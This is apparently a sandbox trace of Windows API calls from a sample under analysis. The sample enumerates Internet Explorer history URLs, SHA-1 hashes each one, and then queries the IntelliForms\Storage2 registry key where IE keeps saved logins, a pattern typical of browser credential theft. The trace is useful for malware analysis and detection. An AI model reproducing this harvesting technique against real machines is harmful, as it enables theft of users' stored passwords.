[0097.076] GetProcAddress (hModule=0x7fefea30000, lpProcName="CoTaskMemFree") returned 0x7fefea58e20 [0097.076] CoTaskMemFree (pv=0x7183220) [0097.076] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.076] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/SjMh/K8sS5cZiPNkVmh.jpg", lpSrch="?") returned 0x0 [0097.076] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.077] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.077] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/SjMh/K8sS5cZiPNkVmh.jpg") returned 58 [0097.077] CryptHashData (hHash=0x4469af0, pbData=0x71e5f20, dwDataLen=0x76, dwFlags=0x0) returned 1 [0097.077] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.077] CryptDestroyHash (hHash=0x4469af0) returned 1 [0097.077] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.077] CoTaskMemFree (pv=0x71e5f20) [0097.077] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.077] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/SjMh/A3Y6ZiC%206H.gif", lpSrch="?") returned 0x0 [0097.077] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.078] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.078] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/SjMh/A3Y6ZiC%206H.gif") returned 56 [0097.078] CryptHashData (hHash=0x4469af0, pbData=0x71e5fa0, dwDataLen=0x72, dwFlags=0x0) returned 1 [0097.078] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.078] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E8") returned 2 [0097.078] lstrlenW (lpString="") returned 0 [0097.078] lstrlenW (lpString="E8") returned 2 [0097.078] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7182c80 [0097.078] lstrcpyW (in: lpString1=0x7182c80, lpString2="" | out: lpString1="") returned="" [0097.078] lstrcatW (in: lpString1="", lpString2="E8" | out: lpString1="E8") returned="E8" [0097.078] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AA") returned 2 [0097.078] lstrlenW (lpString="E8") returned 2 [0097.078] lstrlenW (lpString="AA") returned 2 [0097.078] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c8e40 [0097.078] lstrcpyW (in: lpString1=0x28c8e40, lpString2="E8" | out: lpString1="E8") returned="E8" [0097.078] lstrcatW (in: lpString1="E8", lpString2="AA" | out: lpString1="E8AA") returned="E8AA" [0097.078] LocalFree (hMem=0x7182c80) returned 0x0 [0097.078] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B8") returned 2 [0097.078] lstrlenW (lpString="E8AA") returned 4 [0097.078] lstrlenW (lpString="B8") returned 2 [0097.078] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c9020 [0097.078] lstrcpyW (in: lpString1=0x28c9020, lpString2="E8AA" | out: lpString1="E8AA") returned="E8AA" [0097.078] lstrcatW (in: lpString1="E8AA", lpString2="B8" | out: lpString1="E8AAB8") returned="E8AAB8" [0097.078] LocalFree (hMem=0x28c8e40) returned 0x0 [0097.078] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CC") returned 2 [0097.078] lstrlenW (lpString="E8AAB8") returned 6 [0097.078] lstrlenW (lpString="CC") returned 2 [0097.078] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c8e40 [0097.078] lstrcpyW (in: lpString1=0x28c8e40, lpString2="E8AAB8" | out: lpString1="E8AAB8") returned="E8AAB8" [0097.079] lstrcatW (in: lpString1="E8AAB8", lpString2="CC" | out: lpString1="E8AAB8CC") returned="E8AAB8CC" [0097.079] LocalFree (hMem=0x28c9020) returned 0x0 [0097.079] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="35") returned 2 [0097.079] lstrlenW (lpString="E8AAB8CC") returned 8 [0097.079] lstrlenW (lpString="35") returned 2 [0097.079] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c9020 [0097.079] lstrcpyW (in: lpString1=0x28c9020, lpString2="E8AAB8CC" | out: lpString1="E8AAB8CC") returned="E8AAB8CC" [0097.079] lstrcatW (in: lpString1="E8AAB8CC", lpString2="35" | out: lpString1="E8AAB8CC35") returned="E8AAB8CC35" [0097.079] LocalFree (hMem=0x28c8e40) returned 0x0 [0097.079] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DF") returned 2 [0097.079] lstrlenW (lpString="E8AAB8CC35") returned 10 [0097.079] lstrlenW (lpString="DF") returned 2 [0097.079] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf460 [0097.079] lstrcpyW (in: lpString1=0x71cf460, lpString2="E8AAB8CC35" | out: lpString1="E8AAB8CC35") returned="E8AAB8CC35" [0097.079] lstrcatW (in: lpString1="E8AAB8CC35", lpString2="DF" | out: lpString1="E8AAB8CC35DF") returned="E8AAB8CC35DF" [0097.079] LocalFree (hMem=0x28c9020) returned 0x0 [0097.079] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C3") returned 2 [0097.079] lstrlenW (lpString="E8AAB8CC35DF") returned 12 [0097.079] lstrlenW (lpString="C3") returned 2 [0097.079] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cfb40 [0097.079] lstrcpyW (in: lpString1=0x71cfb40, lpString2="E8AAB8CC35DF" | out: lpString1="E8AAB8CC35DF") returned="E8AAB8CC35DF" [0097.079] lstrcatW (in: lpString1="E8AAB8CC35DF", lpString2="C3" | out: lpString1="E8AAB8CC35DFC3") returned="E8AAB8CC35DFC3" [0097.079] LocalFree (hMem=0x71cf460) returned 0x0 [0097.079] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="25") returned 2 [0097.079] lstrlenW (lpString="E8AAB8CC35DFC3") returned 14 [0097.079] lstrlenW (lpString="25") returned 2 [0097.079] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf460 [0097.079] lstrcpyW (in: lpString1=0x71cf460, lpString2="E8AAB8CC35DFC3" | out: lpString1="E8AAB8CC35DFC3") returned="E8AAB8CC35DFC3" [0097.079] lstrcatW (in: lpString1="E8AAB8CC35DFC3", lpString2="25" | out: lpString1="E8AAB8CC35DFC325") returned="E8AAB8CC35DFC325" [0097.079] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.079] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="75") returned 2 [0097.079] lstrlenW (lpString="E8AAB8CC35DFC325") returned 16 [0097.079] lstrlenW (lpString="75") returned 2 [0097.079] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cfb40 [0097.079] lstrcpyW (in: lpString1=0x71cfb40, lpString2="E8AAB8CC35DFC325" | out: lpString1="E8AAB8CC35DFC325") returned="E8AAB8CC35DFC325" [0097.079] lstrcatW (in: lpString1="E8AAB8CC35DFC325", lpString2="75" | out: lpString1="E8AAB8CC35DFC32575") returned="E8AAB8CC35DFC32575" [0097.079] LocalFree (hMem=0x71cf460) returned 0x0 [0097.079] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3F") returned 2 [0097.080] lstrlenW (lpString="E8AAB8CC35DFC32575") returned 18 [0097.080] lstrlenW (lpString="3F") returned 2 [0097.080] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0097.080] lstrcpyW (in: lpString1=0x7290b70, lpString2="E8AAB8CC35DFC32575" | out: lpString1="E8AAB8CC35DFC32575") returned="E8AAB8CC35DFC32575" [0097.080] lstrcatW (in: lpString1="E8AAB8CC35DFC32575", lpString2="3F" | out: lpString1="E8AAB8CC35DFC325753F") returned="E8AAB8CC35DFC325753F" [0097.080] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.080] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EE") returned 2 [0097.080] lstrlenW (lpString="E8AAB8CC35DFC325753F") returned 20 [0097.080] lstrlenW (lpString="EE") returned 2 [0097.080] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0097.080] lstrcpyW (in: lpString1=0x72912f0, lpString2="E8AAB8CC35DFC325753F" | out: lpString1="E8AAB8CC35DFC325753F") returned="E8AAB8CC35DFC325753F" [0097.080] lstrcatW (in: lpString1="E8AAB8CC35DFC325753F", lpString2="EE" | out: lpString1="E8AAB8CC35DFC325753FEE") returned="E8AAB8CC35DFC325753FEE" [0097.080] LocalFree (hMem=0x7290b70) returned 0x0 [0097.080] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="23") returned 2 [0097.080] lstrlenW (lpString="E8AAB8CC35DFC325753FEE") returned 22 [0097.080] lstrlenW (lpString="23") returned 2 [0097.080] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0097.080] lstrcpyW (in: lpString1=0x7290b70, lpString2="E8AAB8CC35DFC325753FEE" | out: lpString1="E8AAB8CC35DFC325753FEE") returned="E8AAB8CC35DFC325753FEE" [0097.080] lstrcatW (in: lpString1="E8AAB8CC35DFC325753FEE", lpString2="23" | out: lpString1="E8AAB8CC35DFC325753FEE23") returned="E8AAB8CC35DFC325753FEE23" [0097.080] LocalFree (hMem=0x72912f0) returned 0x0 [0097.080] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C9") returned 2 [0097.080] lstrlenW (lpString="E8AAB8CC35DFC325753FEE23") returned 24 [0097.080] lstrlenW (lpString="C9") returned 2 [0097.080] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0097.080] lstrcpyW (in: lpString1=0x72912f0, lpString2="E8AAB8CC35DFC325753FEE23" | out: lpString1="E8AAB8CC35DFC325753FEE23") returned="E8AAB8CC35DFC325753FEE23" [0097.080] lstrcatW (in: lpString1="E8AAB8CC35DFC325753FEE23", lpString2="C9" | out: lpString1="E8AAB8CC35DFC325753FEE23C9") returned="E8AAB8CC35DFC325753FEE23C9" [0097.080] LocalFree (hMem=0x7290b70) returned 0x0 [0097.080] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C6") returned 2 [0097.080] lstrlenW (lpString="E8AAB8CC35DFC325753FEE23C9") returned 26 [0097.080] lstrlenW (lpString="C6") returned 2 [0097.080] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0097.080] lstrcpyW (in: lpString1=0x2815a80, lpString2="E8AAB8CC35DFC325753FEE23C9" | out: lpString1="E8AAB8CC35DFC325753FEE23C9") returned="E8AAB8CC35DFC325753FEE23C9" [0097.080] lstrcatW (in: lpString1="E8AAB8CC35DFC325753FEE23C9", lpString2="C6" | out: lpString1="E8AAB8CC35DFC325753FEE23C9C6") returned="E8AAB8CC35DFC325753FEE23C9C6" [0097.080] LocalFree (hMem=0x72912f0) returned 0x0 [0097.080] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A3") returned 2 [0097.080] lstrlenW (lpString="E8AAB8CC35DFC325753FEE23C9C6") returned 28 [0097.081] lstrlenW (lpString="A3") returned 2 [0097.081] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0097.081] lstrcpyW (in: lpString1=0x2815670, lpString2="E8AAB8CC35DFC325753FEE23C9C6" | out: lpString1="E8AAB8CC35DFC325753FEE23C9C6") returned="E8AAB8CC35DFC325753FEE23C9C6" [0097.081] lstrcatW (in: lpString1="E8AAB8CC35DFC325753FEE23C9C6", lpString2="A3" | out: lpString1="E8AAB8CC35DFC325753FEE23C9C6A3") returned="E8AAB8CC35DFC325753FEE23C9C6A3" [0097.081] LocalFree (hMem=0x2815a80) returned 0x0 [0097.081] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="77") returned 2 [0097.081] lstrlenW (lpString="E8AAB8CC35DFC325753FEE23C9C6A3") returned 30 [0097.081] lstrlenW (lpString="77") returned 2 [0097.081] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0097.081] lstrcpyW (in: lpString1=0x2815a80, lpString2="E8AAB8CC35DFC325753FEE23C9C6A3" | out: lpString1="E8AAB8CC35DFC325753FEE23C9C6A3") returned="E8AAB8CC35DFC325753FEE23C9C6A3" [0097.081] lstrcatW (in: lpString1="E8AAB8CC35DFC325753FEE23C9C6A3", lpString2="77" | out: lpString1="E8AAB8CC35DFC325753FEE23C9C6A377") returned="E8AAB8CC35DFC325753FEE23C9C6A377" [0097.081] LocalFree (hMem=0x2815670) returned 0x0 [0097.081] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="05") returned 2 [0097.081] lstrlenW (lpString="E8AAB8CC35DFC325753FEE23C9C6A377") returned 32 [0097.081] lstrlenW (lpString="05") returned 2 [0097.081] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0097.081] lstrcpyW (in: lpString1=0x2815670, lpString2="E8AAB8CC35DFC325753FEE23C9C6A377" | out: lpString1="E8AAB8CC35DFC325753FEE23C9C6A377") returned="E8AAB8CC35DFC325753FEE23C9C6A377" [0097.081] lstrcatW (in: lpString1="E8AAB8CC35DFC325753FEE23C9C6A377", lpString2="05" | out: lpString1="E8AAB8CC35DFC325753FEE23C9C6A37705") returned="E8AAB8CC35DFC325753FEE23C9C6A37705" [0097.081] LocalFree (hMem=0x2815a80) returned 0x0 [0097.081] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DE") returned 2 [0097.081] lstrlenW (lpString="E8AAB8CC35DFC325753FEE23C9C6A37705") returned 34 [0097.081] lstrlenW (lpString="DE") returned 2 [0097.081] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0097.081] lstrcpyW (in: lpString1=0x28e7910, lpString2="E8AAB8CC35DFC325753FEE23C9C6A37705" | out: lpString1="E8AAB8CC35DFC325753FEE23C9C6A37705") returned="E8AAB8CC35DFC325753FEE23C9C6A37705" [0097.081] lstrcatW (in: lpString1="E8AAB8CC35DFC325753FEE23C9C6A37705", lpString2="DE" | out: lpString1="E8AAB8CC35DFC325753FEE23C9C6A37705DE") returned="E8AAB8CC35DFC325753FEE23C9C6A37705DE" [0097.081] LocalFree (hMem=0x2815670) returned 0x0 [0097.081] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="85") returned 2 [0097.081] lstrlenW (lpString="E8AAB8CC35DFC325753FEE23C9C6A37705DE") returned 36 [0097.081] lstrlenW (lpString="85") returned 2 [0097.081] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0097.081] lstrcpyW (in: lpString1=0x28e7670, lpString2="E8AAB8CC35DFC325753FEE23C9C6A37705DE" | out: lpString1="E8AAB8CC35DFC325753FEE23C9C6A37705DE") returned="E8AAB8CC35DFC325753FEE23C9C6A37705DE" [0097.081] lstrcatW (in: lpString1="E8AAB8CC35DFC325753FEE23C9C6A37705DE", lpString2="85" | out: lpString1="E8AAB8CC35DFC325753FEE23C9C6A37705DE85") returned="E8AAB8CC35DFC325753FEE23C9C6A37705DE85" [0097.081] LocalFree (hMem=0x28e7910) returned 0x0 [0097.081] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="40") returned 2 [0097.081] lstrlenW (lpString="E8AAB8CC35DFC325753FEE23C9C6A37705DE85") returned 38 [0097.081] lstrlenW (lpString="40") returned 2 [0097.081] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0097.082] lstrcpyW (in: lpString1=0x28e7910, lpString2="E8AAB8CC35DFC325753FEE23C9C6A37705DE85" | out: lpString1="E8AAB8CC35DFC325753FEE23C9C6A37705DE85") returned="E8AAB8CC35DFC325753FEE23C9C6A37705DE85" [0097.082] lstrcatW (in: lpString1="E8AAB8CC35DFC325753FEE23C9C6A37705DE85", lpString2="40" | out: lpString1="E8AAB8CC35DFC325753FEE23C9C6A37705DE8540") returned="E8AAB8CC35DFC325753FEE23C9C6A37705DE8540" [0097.082] LocalFree (hMem=0x28e7670) returned 0x0 [0097.082] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="28") returned 2 [0097.082] lstrlenW (lpString="E8AAB8CC35DFC325753FEE23C9C6A37705DE8540") returned 40 [0097.082] lstrlenW (lpString="28") returned 2 [0097.082] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0097.082] lstrcpyW (in: lpString1=0x28e7670, lpString2="E8AAB8CC35DFC325753FEE23C9C6A37705DE8540" | out: lpString1="E8AAB8CC35DFC325753FEE23C9C6A37705DE8540") returned="E8AAB8CC35DFC325753FEE23C9C6A37705DE8540" [0097.082] lstrcatW (in: lpString1="E8AAB8CC35DFC325753FEE23C9C6A37705DE8540", lpString2="28" | out: lpString1="E8AAB8CC35DFC325753FEE23C9C6A37705DE854028") returned="E8AAB8CC35DFC325753FEE23C9C6A37705DE854028" [0097.082] LocalFree (hMem=0x28e7910) returned 0x0 [0097.082] CryptDestroyHash (hHash=0x4469af0) returned 1 [0097.082] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.082] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.082] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.082] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.082] LocalFree (hMem=0x28e7670) returned 0x0 [0097.082] CoTaskMemFree (pv=0x71e5fa0) [0097.082] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.082] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/atEPrko.doc", lpSrch="?") returned 0x0 [0097.082] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.083] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.083] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/atEPrko.doc") returned 61 [0097.083] CryptHashData (hHash=0x4470a10, pbData=0x7183190, dwDataLen=0x7c, dwFlags=0x0) returned 1 [0097.083] CryptGetHashParam (in: hHash=0x4470a10, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.083] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7A") returned 2 [0097.083] lstrlenW (lpString="") returned 0 [0097.083] lstrlenW (lpString="7A") returned 2 [0097.083] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7182fe0 [0097.083] lstrcpyW (in: lpString1=0x7182fe0, lpString2="" | out: lpString1="") returned="" [0097.083] lstrcatW (in: lpString1="", lpString2="7A" | out: lpString1="7A") returned="7A" [0097.083] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AA") returned 2 [0097.083] lstrlenW (lpString="7A") returned 2 [0097.083] lstrlenW (lpString="AA") returned 2 [0097.083] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c9020 [0097.083] lstrcpyW (in: lpString1=0x28c9020, lpString2="7A" | out: lpString1="7A") returned="7A" [0097.083] lstrcatW (in: lpString1="7A", lpString2="AA" | out: lpString1="7AAA") returned="7AAA" [0097.083] LocalFree (hMem=0x7182fe0) returned 0x0 [0097.083] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1D") returned 2 [0097.083] lstrlenW (lpString="7AAA") returned 4 [0097.083] lstrlenW (lpString="1D") returned 2 [0097.083] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c8e40 [0097.083] lstrcpyW (in: lpString1=0x28c8e40, lpString2="7AAA" | out: lpString1="7AAA") returned="7AAA" [0097.083] lstrcatW (in: lpString1="7AAA", lpString2="1D" | out: lpString1="7AAA1D") returned="7AAA1D" [0097.083] LocalFree (hMem=0x28c9020) returned 0x0 [0097.083] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C8") returned 2 [0097.083] lstrlenW (lpString="7AAA1D") returned 6 [0097.084] lstrlenW (lpString="C8") returned 2 [0097.084] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c9020 [0097.084] lstrcpyW (in: lpString1=0x28c9020, lpString2="7AAA1D" | out: lpString1="7AAA1D") returned="7AAA1D" [0097.084] lstrcatW (in: lpString1="7AAA1D", lpString2="C8" | out: lpString1="7AAA1DC8") returned="7AAA1DC8" [0097.084] LocalFree (hMem=0x28c8e40) returned 0x0 [0097.084] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2D") returned 2 [0097.084] lstrlenW (lpString="7AAA1DC8") returned 8 [0097.084] lstrlenW (lpString="2D") returned 2 [0097.084] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c8e40 [0097.084] lstrcpyW (in: lpString1=0x28c8e40, lpString2="7AAA1DC8" | out: lpString1="7AAA1DC8") returned="7AAA1DC8" [0097.084] lstrcatW (in: lpString1="7AAA1DC8", lpString2="2D" | out: lpString1="7AAA1DC82D") returned="7AAA1DC82D" [0097.084] LocalFree (hMem=0x28c9020) returned 0x0 [0097.084] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="05") returned 2 [0097.084] lstrlenW (lpString="7AAA1DC82D") returned 10 [0097.084] lstrlenW (lpString="05") returned 2 [0097.084] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cfb40 [0097.084] lstrcpyW (in: lpString1=0x71cfb40, lpString2="7AAA1DC82D" | out: lpString1="7AAA1DC82D") returned="7AAA1DC82D" [0097.084] lstrcatW (in: lpString1="7AAA1DC82D", lpString2="05" | out: lpString1="7AAA1DC82D05") returned="7AAA1DC82D05" [0097.084] LocalFree (hMem=0x28c8e40) returned 0x0 [0097.084] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C0") returned 2 [0097.084] lstrlenW (lpString="7AAA1DC82D05") returned 12 [0097.084] lstrlenW (lpString="C0") returned 2 [0097.084] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf460 [0097.084] lstrcpyW (in: lpString1=0x71cf460, lpString2="7AAA1DC82D05" | out: lpString1="7AAA1DC82D05") returned="7AAA1DC82D05" [0097.084] lstrcatW (in: lpString1="7AAA1DC82D05", lpString2="C0" | out: lpString1="7AAA1DC82D05C0") returned="7AAA1DC82D05C0" [0097.084] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.084] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E1") returned 2 [0097.084] lstrlenW (lpString="7AAA1DC82D05C0") returned 14 [0097.084] lstrlenW (lpString="E1") returned 2 [0097.084] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cfb40 [0097.084] lstrcpyW (in: lpString1=0x71cfb40, lpString2="7AAA1DC82D05C0" | out: lpString1="7AAA1DC82D05C0") returned="7AAA1DC82D05C0" [0097.084] lstrcatW (in: lpString1="7AAA1DC82D05C0", lpString2="E1" | out: lpString1="7AAA1DC82D05C0E1") returned="7AAA1DC82D05C0E1" [0097.084] LocalFree (hMem=0x71cf460) returned 0x0 [0097.084] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E8") returned 2 [0097.084] lstrlenW (lpString="7AAA1DC82D05C0E1") returned 16 [0097.084] lstrlenW (lpString="E8") returned 2 [0097.084] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf460 [0097.084] lstrcpyW (in: lpString1=0x71cf460, lpString2="7AAA1DC82D05C0E1" | out: lpString1="7AAA1DC82D05C0E1") returned="7AAA1DC82D05C0E1" [0097.085] lstrcatW (in: lpString1="7AAA1DC82D05C0E1", lpString2="E8" | out: lpString1="7AAA1DC82D05C0E1E8") returned="7AAA1DC82D05C0E1E8" [0097.085] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.085] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C1") returned 2 [0097.085] lstrlenW (lpString="7AAA1DC82D05C0E1E8") returned 18 [0097.085] lstrlenW (lpString="C1") returned 2 [0097.085] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0097.085] lstrcpyW (in: lpString1=0x72912f0, lpString2="7AAA1DC82D05C0E1E8" | out: lpString1="7AAA1DC82D05C0E1E8") returned="7AAA1DC82D05C0E1E8" [0097.085] lstrcatW (in: lpString1="7AAA1DC82D05C0E1E8", lpString2="C1" | out: lpString1="7AAA1DC82D05C0E1E8C1") returned="7AAA1DC82D05C0E1E8C1" [0097.085] LocalFree (hMem=0x71cf460) returned 0x0 [0097.085] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8C") returned 2 [0097.085] lstrlenW (lpString="7AAA1DC82D05C0E1E8C1") returned 20 [0097.085] lstrlenW (lpString="8C") returned 2 [0097.085] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0097.085] lstrcpyW (in: lpString1=0x7290b70, lpString2="7AAA1DC82D05C0E1E8C1" | out: lpString1="7AAA1DC82D05C0E1E8C1") returned="7AAA1DC82D05C0E1E8C1" [0097.085] lstrcatW (in: lpString1="7AAA1DC82D05C0E1E8C1", lpString2="8C" | out: lpString1="7AAA1DC82D05C0E1E8C18C") returned="7AAA1DC82D05C0E1E8C18C" [0097.085] LocalFree (hMem=0x72912f0) returned 0x0 [0097.085] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="90") returned 2 [0097.085] lstrlenW (lpString="7AAA1DC82D05C0E1E8C18C") returned 22 